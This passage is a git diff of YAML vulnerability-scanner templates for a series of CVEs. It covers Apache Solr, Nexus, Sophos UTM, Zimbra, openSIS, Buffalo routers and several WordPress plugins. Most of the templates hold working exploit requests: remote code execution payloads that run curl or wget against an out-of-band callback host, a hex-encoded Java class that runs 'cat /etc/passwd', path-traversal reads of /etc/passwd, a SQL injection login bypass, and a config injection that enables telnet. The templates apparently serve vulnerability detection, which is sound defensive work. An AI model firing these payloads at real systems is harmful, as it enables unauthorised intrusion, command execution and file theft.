+requests: + - raw: + - | + GET /solr/admin/cores?wt=json HTTP/1.1 + Host: {{Hostname}} + Accept-Language: en + Connection: close + + - | + POST /solr/{{core}}/dataimport?indent=on&wt=json HTTP/1.1 + Host: {{Hostname}} + Content-type: application/x-www-form-urlencoded + X-Requested-With: XMLHttpRequest + + command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22curl%20http://{{interactsh-url}}%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport + + extractors: + - type: regex + internal: true + name: core + group: 1 + regex: + - '"name"\:"(.*?)"' + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" + + - type: status + status: + - 200 diff --git a/cves/2019/CVE-2019-0221.yaml b/cves/2019/CVE-2019-0221.yaml index 1a94f69290..14eba8a50d 100644 --- a/cves/2019/CVE-2019-0221.yaml +++ b/cves/2019/CVE-2019-0221.yaml @@ -7,6 +7,7 @@ info: reference: - https://seclists.org/fulldisclosure/2019/May/50 - https://wwws.nightwatchcybersecurity.com/2019/05/27/xss-in-ssi-printenv-command-apache-tomcat-cve-2019-0221/ + - https://www.exploit-db.com/exploits/50119 description: | The SSI printenv command in Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 echoes user provided data without escaping and is, @@ -18,6 +19,7 @@ requests: - method: GET path: - "{{BaseURL}}/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E" + - "{{BaseURL}}/ssi/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E" matchers-condition: and matchers: diff --git a/cves/2019/CVE-2019-12276.yaml b/cves/2019/CVE-2019-12276.yaml new file mode 100644 index 0000000000..04aad1e2f5 --- /dev/null +++ b/cves/2019/CVE-2019-12276.yaml @@ -0,0 +1,29 @@ +id: CVE-2019-12276 + +info: + name: GrandNode 4.40 - Path Traversal + author: daffainfo + severity: high + description: Path Traversal vulnerability in Controllers/LetsEncryptController.cs in LetsEncryptController in GrandNode 4.40 allows remote, unauthenticated attackers to retrieve arbitrary files on the web server via specially crafted LetsEncrypt/Index?fileName= HTTP requests. A patch for this issue was made on 2019-05-30 in GrandNode 4.40. + reference: | + - https://security401.com/grandnode-path-traversal/ + - https://www.cvedetails.com/cve/CVE-2019-12276 + tags: cve,cve2019,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd" + headers: + Connection: close + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2019/CVE-2019-12616.yaml b/cves/2019/CVE-2019-12616.yaml index 8b25d643e6..84cbe7584e 100644 --- a/cves/2019/CVE-2019-12616.yaml +++ b/cves/2019/CVE-2019-12616.yaml @@ -2,7 +2,7 @@ id: CVE-2019-12616 info: name: phpMyAdmin CSRF - author: Mohammedsaneem + author: Mohammedsaneem,philippedelteil description: A vulnerability was found that allows an attacker to trigger a CSRF attack against a phpMyAdmin user. The attacker can trick the user, for instance through a broken tag pointing at the victim's phpMyAdmin database, and the attacker can potentially deliver a payload (such as a specific INSERT or DELETE statement) through the victim. severity: medium tags: cve,cve2019,phpmyadmin,csrf @@ -18,12 +18,18 @@ requests: matchers-condition: and matchers: + - type: word words: - - "4.6.6deb4+deb9u2" + - "phpmyadmin.net" - "phpMyAdmin" - condition: and + condition: or + + - type: regex + regex: + - 'v=[1-4]\.[0-8]\.' # Fix in 4.9.0 - type: status status: - - 200 \ No newline at end of file + - 200 + - 401 #password protected diff --git a/cves/2019/CVE-2019-16313.yaml b/cves/2019/CVE-2019-16313.yaml new file mode 100644 index 0000000000..4acbe787fc --- /dev/null +++ b/cves/2019/CVE-2019-16313.yaml @@ -0,0 +1,36 @@ +id: CVE-2019-16313 + +info: + name: ifw8 Router ROM v4.31 allows credential disclosure + author: pikpikcu + severity: high + description: ifw8 Router ROM v4.31 allows credential disclosure by reading the action/usermanager.htm HTML source code. + reference: | + - https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/CVE-2019-16313%20%E8%9C%82%E7%BD%91%E4%BA%92%E8%81%94%E4%BC%81%E4%B8%9A%E7%BA%A7%E8%B7%AF%E7%94%B1%E5%99%A8v4.31%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.md + - https://nvd.nist.gov/vuln/detail/CVE-2019-16313 + tags: cve,cve2019,lfi + +requests: + - method: GET + path: + - '{{BaseURL}}/action/usermanager.htm' + + matchers-condition: and + matchers: + - type: word + words: + - 'user' + - 'pwd' + part: body + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + group: 1 + regex: + - '\*\*\*\*\*\*<\/td>' diff --git a/cves/2019/CVE-2019-16332.yaml b/cves/2019/CVE-2019-16332.yaml index 7a1a0b7835..3a7b34ee93 100644 --- a/cves/2019/CVE-2019-16332.yaml +++ b/cves/2019/CVE-2019-16332.yaml @@ -5,7 +5,9 @@ info: author: daffainfo severity: medium description: In the api-bearer-auth plugin before 20190907 for WordPress, the server parameter is not correctly filtered in the swagger-config.yaml.php file, and it is possible to inject JavaScript code, aka XSS. - reference: https://nvd.nist.gov/vuln/detail/CVE-2019-16332 + reference: | + - https://plugins.trac.wordpress.org/changeset/2152730 + - https://wordpress.org/plugins/api-bearer-auth/#developers tags: cve,cve2019,wordpress,xss,wp-plugin requests: diff --git a/cves/2019/CVE-2019-17558.yaml b/cves/2019/CVE-2019-17558.yaml index 2a5e43edd8..4293fed10d 100644 --- a/cves/2019/CVE-2019-17558.yaml +++ b/cves/2019/CVE-2019-17558.yaml @@ -4,7 +4,7 @@ info: author: pikpikcu,madrobot severity: critical reference: https://nvd.nist.gov/vuln/detail/CVE-2019-17558 - tags: cve,cve2019,apache,rce,solr + tags: cve,cve2019,apache,rce,solr,oob requests: - raw: @@ -15,15 +15,10 @@ requests: Connection: close - | - POST /solr/{{collection}}/config HTTP/1.1 + POST /solr/{{core}}/config HTTP/1.1 Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 - Accept-Language: en-US,en;q=0.5 - Connection: close Content-Type: application/json Content-Length: 259 - Upgrade-Insecure-Requests: 1 { "update-queryresponsewriter": { @@ -37,25 +32,25 @@ requests: } - | - GET /solr/{{collection}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27nslookup%20example.com%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 + GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20http://{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 - Accept-Language: en-US,en;q=0.5 Connection: close - Upgrade-Insecure-Requests: 1 + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" + + - type: status + status: + - 200 extractors: - type: regex - regex: - - '"status"\:\{"(.*?)"\:\{"name"' - name: collection - group: 1 internal: true - - matchers: - - type: word - words: - - "Non-authoritative answer" - - "example.com" - condition: and + name: core + group: 1 + regex: + - '"name"\:"(.*?)"' diff --git a/cves/2019/CVE-2019-20085.yaml b/cves/2019/CVE-2019-20085.yaml index eb10da34ef..58a3857874 100644 --- a/cves/2019/CVE-2019-20085.yaml +++ b/cves/2019/CVE-2019-20085.yaml @@ -13,7 +13,7 @@ info: requests: - method: GET path: - - "{{BaseURL}}/../../../../../../../../../../../Windows/win.ini" + - "{{BaseURL}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.ini" matchers-condition: and matchers: diff --git a/cves/2019/CVE-2019-3401.yaml b/cves/2019/CVE-2019-3401.yaml index 929a402725..9c2a7c4819 100644 --- a/cves/2019/CVE-2019-3401.yaml +++ b/cves/2019/CVE-2019-3401.yaml @@ -3,8 +3,10 @@ id: CVE-2019-3401 info: name: Atlassian JIRA Information Exposure (CVE-2019-3401) author: TechbrunchFR,milo2012 + description: The ManageFilters.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to enumerate usernames via an incorrect authorisation check. severity: info tags: cve,cve2019,jira,atlassian + reference: https://jira.atlassian.com/browse/JRASERVER-69244 requests: - method: GET diff --git a/cves/2019/CVE-2019-7238.yaml b/cves/2019/CVE-2019-7238.yaml new file mode 100644 index 0000000000..8561aa1c8a --- /dev/null +++ b/cves/2019/CVE-2019-7238.yaml @@ -0,0 +1,32 @@ +id: CVE-2019-7238 + +info: + name: NEXUS < 3.14.0 Remote Code Execution + author: pikpikcu + severity: critical + tags: cve,cve2019,nexus,rce + reference: | + - https://nvd.nist.gov/vuln/detail/CVE-2019-7238 + - https://github.com/jas502n/CVE-2019-7238 + +requests: + - raw: + - | + POST /service/extdirect HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + X-Requested-With: XMLHttpRequest + + {"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "function(x, y, z, c, integer, defineClass){ c=1.class.forName('java.lang.Character'); integer=1.class; x='cafebabe0000003100ae0a001f00560a005700580a005700590a005a005b0a005a005c0a005d005e0a005d005f0700600a000800610a006200630700640800650a001d00660800410a001d00670a006800690a0068006a08006b08004508006c08006d0a006e006f0a006e00700a001f00710a001d00720800730a000800740800750700760a001d00770700780a0079007a08007b08007c07007d0a0023007e0a0023007f0700800100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100114c4578706c6f69742f546573743233343b01000474657374010015284c6a6176612f6c616e672f537472696e673b29560100036f626a0100124c6a6176612f6c616e672f4f626a6563743b0100016901000149010003636d640100124c6a6176612f6c616e672f537472696e673b01000770726f636573730100134c6a6176612f6c616e672f50726f636573733b01000269730100154c6a6176612f696f2f496e70757453747265616d3b010006726573756c740100025b42010009726573756c745374720100067468726561640100124c6a6176612f6c616e672f5468726561643b0100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000c7468726561644c6f63616c7301000e7468726561644c6f63616c4d61700100114c6a6176612f6c616e672f436c6173733b01000a7461626c654669656c640100057461626c65010005656e74727901000a76616c75654669656c6401000e68747470436f6e6e656374696f6e01000e48747470436f6e6e656374696f6e0100076368616e6e656c01000b487474704368616e6e656c010008726573706f6e7365010008526573706f6e73650100067772697465720100154c6a6176612f696f2f5072696e745772697465723b0100164c6f63616c5661726961626c65547970655461626c650100144c6a6176612f6c616e672f436c6173733c2a3e3b01000a457863657074696f6e7307008101000a536f7572636546696c6501000c546573743233342e6a6176610c002700280700820c008300840c008500860700870c008800890c008a008b07008c0c008d00890c008e008f0100106a6176612f6c616e672f537472696e670c002700900700910c009200930100116a6176612f6c616e672f496e74656765720100106a6176612e6c616e672e5468726561640c009400950c009600970700980c0099009a0c009b009c0100246a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617001002a6a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617024456e74727901000576616c756507009d0c009e009f0c009b00a00c00a100a20c00a300a40100276f72672e65636c697073652e6a657474792e7365727665722e48747470436f6e6e656374696f6e0c00a500a601000e676574487474704368616e6e656c01000f6a6176612f6c616e672f436c6173730c00a700a80100106a6176612f6c616e672f4f626a6563740700a90c00aa00ab01000b676574526573706f6e73650100096765745772697465720100136a6176612f696f2f5072696e745772697465720c00ac002f0c00ad002801000f4578706c6f69742f546573743233340100136a6176612f6c616e672f457863657074696f6e0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100136a6176612f696f2f496e70757453747265616d010009617661696c61626c6501000472656164010007285b4249492949010005285b4229560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010007666f724e616d65010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100176a6176612f6c616e672f7265666c6563742f41727261790100096765744c656e677468010015284c6a6176612f6c616e672f4f626a6563743b2949010027284c6a6176612f6c616e672f4f626a6563743b49294c6a6176612f6c616e672f4f626a6563743b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100096765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100057772697465010005636c6f736500210026001f000000000002000100270028000100290000002f00010001000000052ab70001b100000002002a00000006000100000009002b0000000c000100000005002c002d00000009002e002f0002002900000304000400140000013eb800022ab600034c2bb60004572bb600054d2cb60006bc084e2c2d032cb60006b6000757bb0008592db700093a04b8000a3a05120b57120cb8000d120eb6000f3a06190604b6001019061905b600113a07120b571212b8000d3a0819081213b6000f3a09190904b6001019091907b600113a0a120b571214b8000d3a0b190b1215b6000f3a0c190c04b60010013a0d03360e150e190ab80016a2003e190a150eb800173a0f190fc70006a70027190c190fb600113a0d190dc70006a70016190db60018b60019121ab6001b990006a70009840e01a7ffbe190db600183a0e190e121c03bd001db6001e190d03bd001fb600203a0f190fb600183a101910122103bd001db6001e190f03bd001fb600203a111911b600183a121912122203bd001db6001e191103bd001fb60020c000233a1319131904b600241913b60025b100000003002a0000009600250000001600080017000d0018001200190019001a0024001b002e001d0033001f004200200048002100510023005b002500640026006a002700730029007d002a0086002b008c002d008f002f009c003100a5003200aa003300ad003500b6003600bb003700be003900ce003a00d1002f00d7003d00de003e00f4003f00fb004001110041011800420131004401380045013d0049002b000000de001600a5002c00300031000f0092004500320033000e0000013e003400350000000801360036003700010012012c00380039000200190125003a003b0003002e0110003c003500040033010b003d003e0005004200fc003f00400006005100ed004100310007005b00e3004200430008006400da004400400009007300cb00450031000a007d00c100460043000b008600b800470040000c008f00af00480031000d00de006000490043000e00f4004a004a0031000f00fb0043004b004300100111002d004c0031001101180026004d004300120131000d004e004f00130050000000340005005b00e3004200510008007d00c100460051000b00de006000490051000e00fb0043004b0051001001180026004d005100120052000000040001005300010054000000020055'; y=0; z=''; while (y lt x.length()){ z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0]; y += 2; };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType()); \ndefineClass.setAccessible(true);\nx=defineClass.invoke(\n y,\n 'Exploit.Test234',\n z.getBytes('latin1'), 0,\n 3054\n);x.getMethod('test', ''.class).invoke(null, 'cat /etc/passwd');'done!'}\n"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"} + + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + part: body + + - type: status + status: + - 200 diff --git a/cves/2019/CVE-2019-8451.yaml b/cves/2019/CVE-2019-8451.yaml index 24f1f508ee..abdacb5528 100644 --- a/cves/2019/CVE-2019-8451.yaml +++ b/cves/2019/CVE-2019-8451.yaml @@ -8,17 +8,23 @@ info: reference: - https://www.tenable.com/blog/cve-2019-8451-proof-of-concept-available-for-server-side-request-forgery-ssrf-vulnerability-in - https://jira.atlassian.com/browse/JRASERVER-69793 - tags: cve,cve2019,atlassian,jira,ssrf + - https://hackerone.com/reports/713900 + tags: cve,cve2019,atlassian,jira,ssrf,oob requests: - - method: GET + - method: POST path: - - '{{BaseURL}}/plugins/servlet/gadgets/makeRequest?url=https://{{Hostname}}:1337@example.com' + - '{{BaseURL}}/plugins/servlet/gadgets/makeRequest' + + body: | + url=https://{{Hostname}}:443@{{interactsh-url}} + headers: X-Atlassian-token: no-check + Content-Type: application/x-www-form-urlencoded + matchers: - type: word - name: ssrf-response-body + part: interactsh_protocol words: - - '

This domain is for use in illustrative examples in documents.' - part: body + - "http" # Confirms the HTTP Interaction diff --git a/cves/2020/CVE-2019-9618.yaml b/cves/2020/CVE-2019-9618.yaml new file mode 100644 index 0000000000..bc0a6e0e6d --- /dev/null +++ b/cves/2020/CVE-2019-9618.yaml @@ -0,0 +1,26 @@ +id: CVE-2019-9618 + +info: + name: GraceMedia Media Player 1.0 - Local File Inclusion + author: 0x_Akoko + severity: critical + reference: | + - https://www.exploit-db.com/exploits/46537 + - https://nvd.nist.gov/vuln/detail/CVE-2019-9618 + tags: cve,cve2019,wordpress,wp-plugin,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 \ No newline at end of file diff --git a/cves/2020/CVE-2020-13927.yaml b/cves/2020/CVE-2020-13927.yaml index 0a5d03ba2a..4d8a08fa63 100644 --- a/cves/2020/CVE-2020-13927.yaml +++ b/cves/2020/CVE-2020-13927.yaml @@ -3,7 +3,7 @@ id: CVE-2020-13927 info: name: Unauthenticated Airflow Experimental REST API author: pdteam - severity: medium + severity: critical tags: cve,cve2020,apache,airflow,unauth requests: @@ -17,4 +17,4 @@ requests: - '"dag_run_url":' - '"dag_id":' - '"items":' - condition: and \ No newline at end of file + condition: and diff --git a/cves/2020/CVE-2020-24312.yaml b/cves/2020/CVE-2020-24312.yaml index 395f254458..ce90bb4046 100644 --- a/cves/2020/CVE-2020-24312.yaml +++ b/cves/2020/CVE-2020-24312.yaml @@ -17,6 +17,7 @@ requests: - method: GET path: - '{{BaseURL}}/wp-content/uploads/wp-file-manager-pro/fm_backup/' + matchers-condition: and matchers: - type: status @@ -25,4 +26,7 @@ requests: - type: word words: - - 'Index of' \ No newline at end of file + - 'Index of' + - 'wp-content/uploads/wp-file-manager-pro/fm_backup' + - 'backup_' + condition: and \ No newline at end of file diff --git a/cves/2020/CVE-2020-25223.yaml b/cves/2020/CVE-2020-25223.yaml new file mode 100644 index 0000000000..a80fc39305 --- /dev/null +++ b/cves/2020/CVE-2020-25223.yaml @@ -0,0 +1,36 @@ +id: CVE-2020-25223 + +info: + name: Sophos UTM - Preauth RCE + author: gy741 + severity: critical + description: A remote code execution vulnerability exists in the WebAdmin of Sophos SG UTM before v9.705 MR5, v9.607 MR7, and v9.511 MR11 + reference: | + - https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223 + tags: cve,cve2020,sophos,rce,oob + +requests: + - raw: + - | + POST /var HTTP/1.1 + Host: {{Hostname}} + Accept: text/javascript, text/html, application/xml, text/xml, */* + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + X-Requested-With: XMLHttpRequest + X-Prototype-Version: 1.5.1.1 + Content-type: application/json; charset=UTF-8 + Origin: {{BaseURL}} + Connection: close + Referer: {{BaseURL}} + Sec-Fetch-Dest: empty + Sec-Fetch-Mode: cors + Sec-Fetch-Site: same-origin + + {"objs": [{"FID": "init"}], "SID": "|wget http://{{interactsh-url}}|", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629210675639_0.5000855117488202", "current_uuid": "", "ipv6": true} + + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" diff --git a/cves/2020/CVE-2020-27361.yaml b/cves/2020/CVE-2020-27361.yaml new file mode 100644 index 0000000000..cc00677a99 --- /dev/null +++ b/cves/2020/CVE-2020-27361.yaml @@ -0,0 +1,26 @@ +id: CVE-2020-27361 + +info: + name: Akkadian Provisioning Manager - Files Listing + author: gy741 + severity: high + description: An issue exists within Akkadian Provisioning Manager 4.50.02 which allows attackers to view sensitive information within the /pme subdirectories. + reference: https://www.blacklanternsecurity.com/2021-07-01-Akkadian-CVE/ + tags: cve,cve2020,akkadian,listing,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/pme/media/" + + matchers-condition: and + matchers: + - type: word + words: + - "Index of /pme/media" + - "Parent Directory" + condition: and + + - type: status + status: + - 200 diff --git a/cves/2020/CVE-2020-35489.yaml b/cves/2020/CVE-2020-35489.yaml index 82d8a2fef0..bac1875c05 100644 --- a/cves/2020/CVE-2020-35489.yaml +++ b/cves/2020/CVE-2020-35489.yaml @@ -26,5 +26,11 @@ requests: - type: regex regex: - - '^= ([0-4]\.[0-9\.]+|5\.[0-2]|5\.[0-2]\.[0-9]+|5\.3\.[0-1]) =' + - '^== Changelog =="' + part: body + + - type: regex + regex: + - '^= (5\.3\.[2-9]+|5\.[4-9]+\.|[6-9]\.[0-9]+\.[0-9]+|1[0-9]+\.) =' + negative: true part: body \ No newline at end of file diff --git a/cves/2020/CVE-2020-35598.yaml b/cves/2020/CVE-2020-35598.yaml new file mode 100644 index 0000000000..b4ec328110 --- /dev/null +++ b/cves/2020/CVE-2020-35598.yaml @@ -0,0 +1,27 @@ +id: CVE-2020-35598 + +info: + name: Advanced Comment System 1.0 - Path Traversal + author: daffainfo + severity: high + description: ACS Advanced Comment System 1.0 is affected by Directory Traversal via an advanced_component_system/index.php?ACS_path=..%2f URI. + reference: | + - https://www.exploit-db.com/exploits/49343 + - https://www.cvedetails.com/cve/CVE-2020-35598 + tags: cve,cve2020,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/advanced_component_system/index.php?ACS_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2020/CVE-2020-6637.yaml b/cves/2020/CVE-2020-6637.yaml new file mode 100644 index 0000000000..be79509f04 --- /dev/null +++ b/cves/2020/CVE-2020-6637.yaml @@ -0,0 +1,40 @@ +id: CVE-2020-6637 + +info: + name: OpenSIS v7.3 unauthenticated SQL injection + author: pikpikcu + severity: high + description: openSIS Community Edition version 7.3 is vulnerable to SQL injection via the USERNAME parameter of index.php. + tags: cve,cve2020,sqli,opensis + reference: | + - https://nvd.nist.gov/vuln/detail/CVE-2020-6637 + - https://cinzinga.com/CVE-2020-6637/ + +requests: + - method: POST + path: + - '{{BaseURL}}/account/index.php' + - '{{BaseURL}}/opensis/index.php' + - '{{BaseURL}}/index.php' + headers: + Content-Type: application/x-www-form-urlencoded + body: | + USERNAME=%27%29or%601%60%3D%601%60%3B--+-&PASSWORD=A&language=en&log= + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'SQL STATEMENT:' + - "UPDATE login_authentication SET FAILED_LOGIN=FAILED_LOGIN+1 WHERE UPPER(USERNAME)=UPPER(NULL)or`1`=`1`;-- -')" + condition: and + - type: word + part: header + words: + - "text/html" + condition: and + + - type: status + status: + - 200 diff --git a/cves/2020/CVE-2020-7796.yaml b/cves/2020/CVE-2020-7796.yaml new file mode 100644 index 0000000000..6f02ee6688 --- /dev/null +++ b/cves/2020/CVE-2020-7796.yaml @@ -0,0 +1,25 @@ +id: CVE-2020-7796 + +info: + name: Zimbra Collaboration Suite (ZCS) - SSRF + author: gy741 + severity: critical + description: Zimbra Collaboration Suite (ZCS) before 8.8.15 Patch 7 allows SSRF when WebEx zimlet is installed and zimlet JSP is enabled. + reference: | + - https://www.adminxe.com/2183.html + tags: cve,cve2020,zimbra,ssrf,oob + +requests: + - raw: + - | + GET /zimlet/com_zimbra_webex/httpPost.jsp?companyId=http://{{interactsh-url}}%23 HTTP/1.1 + Host: {{Hostname}} + User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36 + Accept-Encoding: gzip, deflate + Accept: */* + + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" diff --git a/cves/2021/CVE-2021-20090.yaml b/cves/2021/CVE-2021-20090.yaml new file mode 100644 index 0000000000..79604d3e12 --- /dev/null +++ b/cves/2021/CVE-2021-20090.yaml @@ -0,0 +1,33 @@ +id: CVE-2021-20090 + +info: + name: Buffalo WSR-2533DHPL2 - Path Traversal + author: gy741 + severity: critical + description: | + A path traversal vulnerability in the web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 could allow unauthenticated remote attackers to bypass authentication. + reference: | + - https://nvd.nist.gov/vuln/detail/CVE-2021-20090 + - https://www.tenable.com/security/research/tra-2021-13 + - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2 + tags: cve,cve2021,lfi,buffalo,firmware,iot + +requests: + - raw: + - | + GET /images/..%2finfo.html HTTP/1.1 + Host: {{Hostname}} + Referer: {{BaseURL}}/info.html + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - 'URLToken(cgi_path)' + - 'pppoe' + - 'wan' + condition: and \ No newline at end of file diff --git a/cves/2021/CVE-2021-20091.yaml b/cves/2021/CVE-2021-20091.yaml new file mode 100644 index 0000000000..8829a72d18 --- /dev/null +++ b/cves/2021/CVE-2021-20091.yaml @@ -0,0 +1,47 @@ +id: CVE-2021-20091 + +info: + name: Buffalo WSR-2533DHPL2 - Configuration File Injection + author: gy741,pdteam,parth + severity: critical + description: | + The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly sanitize user input. An authenticated remote attacker could leverage this vulnerability to alter device configuration, potentially gaining remote code execution. + reference: | + - https://nvd.nist.gov/vuln/detail/CVE-2021-20091 + - https://www.tenable.com/security/research/tra-2021-13 + - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2 + tags: cve,cve2021,buffalo,firmware,iot + +requests: + - raw: + - | + GET /images/..%2finfo.html HTTP/1.1 + Host: {{Hostname}} + Referer: {{{{BaseURL}}}}/info.html + + - | + POST /images/..%2fapply_abstract.cgi HTTP/1.1 + Host: {{Hostname}} + Referer: {{BaseURL}}/info.html + Content-Type: application/x-www-form-urlencoded + + action=start_ping&httoken={{trimprefix(base64_decode(httoken), base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"))}}&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=127.0.0.1%0AARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4 + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "/Success.htm" + + - type: status + status: + - 302 + + extractors: + - type: regex + name: httoken + internal: true + group: 1 + regex: + - 'base64\,(.*?)" border=' \ No newline at end of file diff --git a/cves/2021/CVE-2021-20092.yaml b/cves/2021/CVE-2021-20092.yaml new file mode 100644 index 0000000000..2074155e32 --- /dev/null +++ b/cves/2021/CVE-2021-20092.yaml @@ -0,0 +1,55 @@ +id: CVE-2021-20092 + +info: + name: Buffalo WSR-2533DHPL2 - Improper Access Control + author: gy741,pdteam,parth + severity: critical + description: | + The web interfaces of Buffalo 